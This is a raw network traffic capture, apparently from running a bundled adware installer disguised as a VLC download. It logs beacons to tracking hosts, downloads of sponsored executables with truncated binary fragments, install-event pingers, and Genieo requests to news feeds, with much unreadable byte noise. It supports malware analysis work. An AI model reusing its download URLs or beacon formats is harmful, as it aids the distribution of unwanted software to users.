..N..]...:.......e..m....}w.....".I......r..l......u.:H.!........|3n..
..g.O=....Bwe..m.5....:^g.........*7C...r..Y.._.n....._.[..x...C.P....
.3cO.>S......w....s.{.K..r..pU.^.).sO.:.......PG*.9O..&A..*..\.V'Q.
...&...`9..H.[.'b4.bk./NY.......gW.x.!.y.r...4.t.Sr......V_Ab..X..S>
;..jN..I..h.. s<:.KM2B>J...4J...I.|v..B..=......$3.A9R..*....H..
....jR...=dP.c...H..H..n.m......~4dS..g.1t......N...!.o.r.O\.[..b...n5
...5....~.E.. ...>.^".1S.HU:.~|.|.mTZ..s...L...x...k.#...._....?h..
.....i..7.>..t................R..=.......b]..z...W...h!.'.O.U.....M
k....=\...CN....~ .5)...~..Gg.0.x...........8>.!*....N.y..O..j%0...
....Vh{.l..O..... `..RM..t.P..6....u.......;...r.0\j...`2F.CC..... ..E
.......9......ao .GL......<br.j..Y....N.e..,?Jt;I.I..W~A.V._...Gl..
q;&..M=.5....M./.<...)&...W.>...........)#............Zt.3.*<<< skipped >>>

GET /app/ping.ashx?e=VlXRKcYhvMat 9hOzZQLUKzyLtYulojf3Pumfblmu5B9EKWfiY9Pr/lWymhtcc3oSGExqW4qn7xbfNvkjTiX5DEsdSRpTTrrYOU1y/YINREIPiV9jHLVcXbNLt4NKFiInEqOJtqwxNYQXEimUCR3BxI4VX5Tzx Vl8axoeNMkn46SEXCM79iefveis23DNM6naQQuHaXH0P7e7Z5lK2CBt35bH/eTc70z3EdWN1pnr Hy1z9F59O5qMZzYI8lGxFUs1eiubbbmvPF/ScIJOAXGRNmcpTnFp5xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJe0t1UorR32ajRt6ubd2oIq1D26TO oN1CM6W43gx8rzb6EZXT3NWMqJvaApQIhfAk6jGBXDjj1kNGbinUaxZC2JqlhzQsXFt0Kn7Ptw3qjfA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:51 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Fri, 15 May 2015 23:02:51 GMT..Content-Length: 0....
..

GET /app/ping.ashx?e=c0XmKevqA0k5015vZaqaD8tGn/qMchCb3RDD4M2MKnlkNeKJ xgctdGdqHePycrYlEzjD3RV2P zo7anpTgKuUuWYfM6izmfEaBiShDKRIV XTIrvDDxtHZeSEXX8WA XTfiLzWqxDYMDrRWNb/a uWvc1ERSY/Lao/v/nubYm3PCU8GQVxGgK2dgS8O/TaQhbdsE06OTTBOUDdMBQAxomYsAOzz7hm2v6mMnRFV9GjGalzMA8P5PNTy9uZCvEFUPqKToDTfCBFhMIMAVmW8yKL71X2j3G6x600hVrSIbx3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2hdQV P4qRFiRoUV4ogQDN9h 2L8C3A11O2jkV5FhmNMgtEwrS49ujM11igWTslo5K5vuReaEszLljER2Ojjg1oa/fP0kfZ6z HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:53 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Fri, 15 May 2015 23:02:53 GMT..Content-Length: 0....
..

GET /app/ping.ashx?e=AZwPyJy3TZi4/9HrRpQ3bD0Z7sea5zO CDpTR00nw3qz6uevfqaymmuKg2XFbqUQvoXpSr3iMCuKj C8ts/rB0hhMaluKp 8W3zb5I04l QxLHUkaU0662DlNcv2CDURCD4lfYxy1XF2zS7eDShYiJxKjibasMTWEFxIplAkdwcSOFV U88flZfGsaHjTJJ OkhFwjO/Ynn73orNtwzTOp2kELh2lx9D 3u2eZStggbd Wx/3k3O9M9xHVjdaZ6/h8tc/RefTuajGc2CPJRsRVLNXorm225rzxf0nCCTgFxkTZnKU5xaecbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXtLdVKK0d9mo0berm3dqCKtQ9ukzvqDdQjOluN4MfK82 hGV09zVjKib2gKUCIXwJOoxgVw449ZDRm4p1GsWQtiapYc0LFxbdEicvFgHOgLA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:59 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Fri, 15 May 2015 23:02:59 GMT..Content-Length: 0..

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1125538-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 160791

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sun, 03 May 2015 00:53:48 GMT

Content-Range: bytes 1125538-1286328/1286329

X-Cache: RefreshHit from cloudfront

Via: 1.1 981c342b06dd163b72f93e9cdd045e1f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 4u0727ObmWw_uDbYFlBm7sR8G-5d2h3PFikc_Fo8BCLAjTcOL5n35g==
.M.......3...?../....d..L:.M..6Jbl3...@....|\.V..I.=..q....Y6...|..?..
I.z.i.H.'.%....t\..{:4CK...e..Va.S3.2.......R.........l.?...p.\.M.?...
e1...V.....Sw..4GWU.y.....*O}"HSj.i.D../S.....z.n.>.`:...y.........
...h..D!.R../V.*&..?2B.G../F..6H...^yt...I...;!.......DN.....E6..!....
g.S.?.!}G.. .*..O...:..(-w. ._q.T.w...T.PZ..b..e0.AG..X.8..|.{a...n...
....c.V.Y....T..x.....6V.............)...S.$..%..y.'.........t..NN...,
....._.>8..In.....2.....Ey.Y5..a.`Q.....<....n0.XA.....^.?8PI...
~.D...yE..2.&q..T......t........}..R...O.P....Y....5..S.L..I...../....
8k....*tx.w.`...E.....B.v/.......]%X.h.j.....o.2...D...(>7a.....9..
.Y...iH.f.....r.5"V..B.9x.vPh..Z.;.......y.,}.:.:.>..[..#9KA..'.W..
./....Iw.9.......k.o..d....R...t..yM{.............../h...A.........9..
...-.5..X.W,z.../u0. ..6..#nv.wK......k}.....BB?mC...f..a.O.B^....W.Q.
f.R...M7.....I`W.R..|v|....{...........L6.6.w....5L9 ..#1.5=c...K..x~/
..o..V...1.....^....Zr../@...; `....D...'..6"[email protected].>
;.Cg|....N.h~X..F..4........D.&.....N..o.. .`...;.q8U2%.6...tT.e...D.q
..=.\[email protected]*.\M&..-K#..<1..;.f..F...U..
[.`.....i.Wap.O..W.a.r?..E..x [email protected]..........:$GH.n...........e
W.....4>.........e..L.S)..:.s0.VwkI..~..u;..,.........)v{...i...@..
F.7Y(...........*....O..w.|..L..9............o.s..a..F.HO.%.....1..w..
...ul.....3..N......U..8......%.........y...|*.f......jk..V.?a.$.....V
..3_...A&..D. .%..[@..I..E*......>q..2.{i...,...n...F.5.a.H..7R...X
.0G..!..q.!.V.W...c...}.....Z...j..\,Qu.......s..z_.....C.........<<< skipped >>>

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=419580-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 15 May 2015 23:02:22 GMT

Content-Type: application/octet-stream

Content-Length: 251748

Last-Modified: Tue, 05 May 2015 03:45:32 GMT

Connection: keep-alive

Expires: Mon, 18 May 2015 23:02:22 GMT

Cache-Control: max-age=259200

Content-Range: bytes 419580-671327/671328
.<...Q..8...QRP.0>.... ......^]..u...4...Q..0...QRP..>....(..
....^].-rF.?rF.hrF..rF..rF..rF..rF.=sF.QrF..sF.........U..V.u.........
...Z=..............0.....4...^]..U...E..M..U.............].......U...E
..M..U.............].......U...U...|!.M.....r..E.......@............].
.E............................]......U...U...|!.M.....r..E....... ....
........]..E............................]......U.........T.H.3..E..E.S
VW.8..............3...t.....x.....d.....h.....l.....p.....\.....`.....
T.....X.....P.......;...U. .4......U..E. .0....E..5P.G..E............`
........E..U........z....................M..U..m.... .................
.......z....................E..M..m....................9.......j....M.
..P.............9M.|....U.;U.v..E..M....E....P....E....T..............
.......................}...I.........|..........U....E......E.........
.......M.RPQV..:........E...u.......u....P....M. ..P......T......T....
.|....].x-..=7.A.v$..|....E..5H.H.....................^j.h....SP.Z*...
......RPSQ..................2........................;.|...;.w........
................................tk............R......Q......R......Q..
....R......Q......R......QR......$..t.h4.H.W..=....._..^[.M.3........]
.........t].............. .\$........\$........\$.........$Q......$..t
.h4.H.W.u=....._..^[.M.3........]...P............xF................t.Q
P..0...h..H.P..........0...h`.H.Q........................ ............
....................................PQVS.......\.....`.....|[.....'..v
.j.jdVS.....R......P.......#..|2....t,............j.jdQR.2(..VSRP.<<< skipped >>>

GET /rss/edition_sport.rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/xml; charset=UTF-8

ETag: tH3s9HnAzdvoi4YBMp0QEKgyVhs

Last-Modified: Fri, 15 May 2015 23:01:53 GMT

Content-Encoding: gzip

Transfer-Encoding: chunked

Date: Fri, 15 May 2015 23:05:04 GMT

Expires: Fri, 15 May 2015 23:05:04 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Server: GSE

Alternate-Protocol: 80:quic,p=1,80:quic,p=1
21D5.............}[s......:....j.a.....L..'...8.3I.%.....$.^,.....nP..
Kb..8Z5 qd.......4.O...Br..L...=...#<../...{_...p..g...<..h./C..
..$_&...._...,.#....c/.R..=..|..^...^..^.e.....|..g.{..e.x_......:....
.QE..y..8.q~...!. .9q6^.n........,.R.%.'{{.g....".yZ....g....Lg..gz...
.M/Z./.3/`q.C.1.y...~....%..L....c.}(....0P5..l.xz......}~y..Q.'....~d
.[...%>....~y#[email protected]..\.<.4.q.s..EFX...Oe.1.........g0(2!Y.S..'d
...*}....4g"...'$.!.....d......`.X< ..?.1.r......$.e*fA..p.....%.l.
r.......L.....9>>>..._.w$..%h..(.O.|..[..0..e.M..zy...~..#...
[email protected] m:.."............K.e.................4...>....E....3.q.....
...^.......l..M..\F.1.>Z...d...bq....,.p{...{$.!....{ .aI..O....ox.
o..q...r..H...kt...H..?......A1...XhVL..I19....\..d!.].......d....0y..
...O..e....M.............p..c....).3.. [email protected]*e>aa..H...".2.h.VD.
4..%)[V ....n.....w....v..|................3h..y..........',#{...=2Y..
.7yW..O..g..o.C..-....jB.?...C..H...e.....h..5....$...^...S.zO....^.g.
...{.q;...0...?.Roc.h....]....j..})...}.(.P?..>....,..;..%......M..
...u..E4...7".k.#....6...}..............i:...01$..,-.<.....8...y2C.
l.Y...R..*.?.....C..w..Yw.V...tv....%......&...r.b...y..X....r....(...
(.3..h......e...j[....([email protected]...,#.,.w..f.....x*....o...
.....MVdI..l......O..K.....c.O-D....HS.3.k.'2.....|Q...|.:]..a.l.&....
;..u.l...pT.!>35....`......^...s.S.B..,...n.$8...z,.S..A"..,.k.T...
.tP..Qq.....w. E...ZB....x..........$..'dR...9.~.."..-4.@#...........W
.I.... .... ....P.u....u..90F..'.....\...._....R.....e2..aE..'.Jg.<<< skipped >>>

GET /home/smt_istartsurf.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:02:21 GMT

Content-Type: application/octet-stream

Content-Length: 671328

Last-Modified: Tue, 05 May 2015 03:45:32 GMT

Connection: keep-alive

Expires: Mon, 18 May 2015 23:02:21 GMT

Cache-Control: max-age=259200

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........*...D...D.
[email protected][email protected][email protected][email protected]...
[email protected]............
[email protected]............
@.......................................... ..............."..`.......
[email protected]................
...............text....P.......R.................. ..`.rdata...^...p..
.`...V..............@[email protected]...$O.......,[email protected].
....... ......................@[email protected]..................
@..B..................................................................
......................................................................
......................................................................
......................................................................
............................................U..j.h.NG.d.....P....T.H.3
.P.E.d......M..E....Q...e.P......M.......E.....j.j..M..K...j.j..M.Q.M.
.K....E......E..M.d......Y..]...U..Q.M..E.P.pn.....P.M..4.....].......
..........U..Q.M.j.j..E.P.M.Q.U.R.M..a.....]..............U..Q.M..M...
....E...]...........U..Q.M..M......P.E.P.M..d...P.M........]........U.
.....M..E..H.;M.r..M......;E.s..M.......U..B. E.;E.s..M..Q. U..U..M...
... E..E..E.;E.s..M..M.... U..E..H. M.;.w..M.......U..B. E. E..E..M..Q
..U. U..U..E..H.;M.s.j..U.R.M..?....E.;E.tS.M.Q.M.......E..E.P.M..<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sat, 16 May 2015 23:02:24 GMT

Date: Fri, 15 May 2015 23:02:24 GMT

Content-Range: bytes 0-465143/465144

Content-Length: 465144

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.........................q.......................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /id/100746255?region=world HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.cnbc.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:05:09 GMT

Server: Apache

Vary: User-Agent

Content-Type: text/html; charset=utf-8

Via: 1.1 aicache6

Content-Length: 30185

Content-Encoding: gzip

X-Aicache-OS: 10.10.1.36:80

Connection: Keep-Alive

Keep-Alive: max=20
.............v.H.6xm...!................S.r...][email protected].}1s97s
?.0k^..d"2..$...ut.]-.y>DF~...../...s.}..i.....6.....76.....u3g..d.
yv.X......M.?sD....[6.....6sA2.?bc.n9..g.;.C..R.|.........{.(.v,{3g.1$
.>..&.....z.eR.....;.l9.F.|W7...cv..C(.9....x.c.Q....../7s?.>...
..."{.....5..f....4h$)..............z./....\,.~..C....z..lo.........7o
...;...uc1.m...E.]..c.].I..gB...0...3)tC.d.l...E...N.......o..k.......
[email protected] ..8.A..7[..0.....Q..o~:.-.x.....kL4...#H.sA.)3.
......4..i.D..8...}....F..\..Ni_...5..8z...#]........!P.IZc.......V..o
L...v..d.P......#. .z.&....5..2'.5.H.ka.3.X#....0.S.....HX.s#..z...t.g
....K.,...........qQ...$UK..\N)....E;.......Al....f...VP.6`>..(F...
<... ..!.....Z.....9......I..X........8}0)\..fj=.....u.............
.E.r.Lvj.oU.....N..i3 ..b..gyq.6-K...iM4....;C7/..6.1..L.m..........V.
..............i\......g.(.?.516..t.a.W.5I.d. U..r....ZC....$%2..{di0..
E..R. ..R.Q.6..."...3v......Z..g'.....t..f.Ql...........O..*l....M..'-
....c...::35#...d..%Hp.k`.K.|&H$. sZ.....SU....k.~OIq.o[.B_d...u....Rg
.....dN.}.F.C.g._.....\.......7.z2.........89...M....y.p.U..> .G...
. ..o....e..m..R:..._`......c..k...)8d....L..T.?.{<.>b....~..6..
V.M.Q.....:....X)J5.......`.......Z...j...4 .uJb..'/f..3.i....MB.v.k03
.n4...!...Oj.}.f8..............,....Bh"......o.60X..A.s..a.....f.0....
(......Y.e..3,..u.b..f-7.a.w..IV....1,..s.^[email protected]. zX.
..:.c.3.b].0..5..\..f.u...e%..{mc.A..\oH..T....1...zl...>y.8k-M.y.`
.^.q..gV.=.6....m....k.j.&.5U.r../.Q...$v. L.s:.r#I....Kr...i6c...<<< skipped >>>

GET /id/19746125 HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.cnbc.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 302 Moved Temporarily

Content-Length: 0

Server: aicache6x

Connection: close

Location: hXXp://VVV.cnbc.com

GET /pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=1&index_in_screen=1&index_in_session=1&0.7017017829450571 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_smb_indostreamix/vlcmediaplayerelzy/e1b8a78c0881034aa57a76140e007cf2?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=e1b8a78c0881034aa57a76140e007cf2&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:02:34 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0......


GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=istartsurf&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=2&index_in_screen=1&index_in_session=2&0.5323607351058053 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_smb_indostreamix/vlcmediaplayerelzy/e1b8a78c0881034aa57a76140e007cf2?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=e1b8a78c0881034aa57a76140e007cf2&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:02:35 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 22:40:35 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Cache-Control: max-age=3600, public

Location: hXXp://news.yahoo.com/robots.txt

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 81

Content-Type: text/html; charset=UTF-8

Age: 1462

Connection: keep-alive

Server: ATS

............Q..U(.J6../(..,2..L....K..Up .T.M.T04U02.21.26U..qV02.....
q....^~>...HTTP/1.1 301 Moved Permanently..Date: Fri, 15 May 2015 2
2:40:35 GMT..P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="C
AO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi S
AMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
 HEA PRE LOC GOV"..Cache-Control: max-age=3600, public..Location: http
://news.yahoo.com/robots.txt..Vary: Accept-Encoding..Content-Encoding:
 gzip..Content-Length: 81..Content-Type: text/html; charset=UTF-8..Age
: 1462..Connection: keep-alive..Server: ATS..............Q..U(.J6../(.
.,2..L....K..Up .T.M.T04U02.21.26U..qV02.....q....^~>.......

GET /rss/mostviewed HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 22:39:12 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Cache-Control: max-age=3600, public

Location: hXXp://news.yahoo.com/rss/mostviewed

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 81

Content-Type: text/html; charset=UTF-8

Age: 1546

Connection: keep-alive

Server: ATS

............Q..U(.J6../(..,2..L....K..Up .T.M.T04U02.2..24R..qV02.....
q..c...>...HTTP/1.1 301 Moved Permanently..Date: Fri, 15 May 2015 2
2:39:12 GMT..P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="C
AO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi S
AMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
 HEA PRE LOC GOV"..Cache-Control: max-age=3600, public..Location: http
://news.yahoo.com/rss/mostviewed..Vary: Accept-Encoding..Content-Encod
ing: gzip..Content-Length: 81..Content-Type: text/html; charset=UTF-8.
.Age: 1546..Connection: keep-alive..Server: ATS..............Q..U(.J6.
./(..,2..L....K..Up .T.M.T04U02.2..24R..qV02.....q..c...>...
....

GET /rss/mostviewed HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 22:39:12 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Cache-Control: max-age=3600, public

Location: hXXp://news.yahoo.com/rss/mostviewed

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 81

Content-Type: text/html; charset=UTF-8

Age: 1546

Connection: keep-alive

Server: ATS

............Q..U(.J6../(..,2..L....K..Up .T.M.T04U02.2..24R..qV02.....
q..c...>...HTTP/1.1 301 Moved Permanently..Date: Fri, 15 May 2015 2
2:39:12 GMT..P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="C
AO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi S
AMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
 HEA PRE LOC GOV"..Cache-Control: max-age=3600, public..Location: http
://news.yahoo.com/rss/mostviewed..Vary: Accept-Encoding..Content-Encod
ing: gzip..Content-Length: 81..Content-Type: text/html; charset=UTF-8.
.Age: 1546..Connection: keep-alive..Server: ATS..............Q..U(.J6.
./(..,2..L....K..Up .T.M.T04U02.2..24R..qV02.....q..c...>...
....

GET /rss/topstories HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 22:58:16 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Cache-Control: max-age=3600, public

Location: hXXp://news.yahoo.com/rss/topstories

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 81

Content-Type: text/html; charset=UTF-8

Age: 406

Connection: keep-alive

Server: ATS
............Q..U(.J6../(..,2..L....K..Up .T.M.T04U02.2..24S..qV02.....
q....0(>.......


GET /rss/topstories HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 22:58:16 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Cache-Control: max-age=3600, public

Location: hXXp://news.yahoo.com/rss/topstories

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 81

Content-Type: text/html; charset=UTF-8

Age: 406

Connection: keep-alive

Server: ATS

............Q..U(.J6../(..,2..L....K..Up .T.M.T04U02.2..24S..qV02.....
q....0(>...HTTP/1.1 301 Moved Permanently..Date: Fri, 15 May 2015 2
2:58:16 GMT..P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="C
AO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi S
AMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
 HEA PRE LOC GOV"..Cache-Control: max-age=3600, public..Location: http
://news.yahoo.com/rss/topstories..Vary: Accept-Encoding..Content-Encod
ing: gzip..Content-Length: 81..Content-Type: text/html; charset=UTF-8.
.Age: 406..Connection: keep-alive..Server: ATS..............Q..U(.J6..
/(..,2..L....K..Up .T.M.T04U02.2..24S..qV02.....q....0(>....
...

GET /rss/business HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 22:23:16 GMT

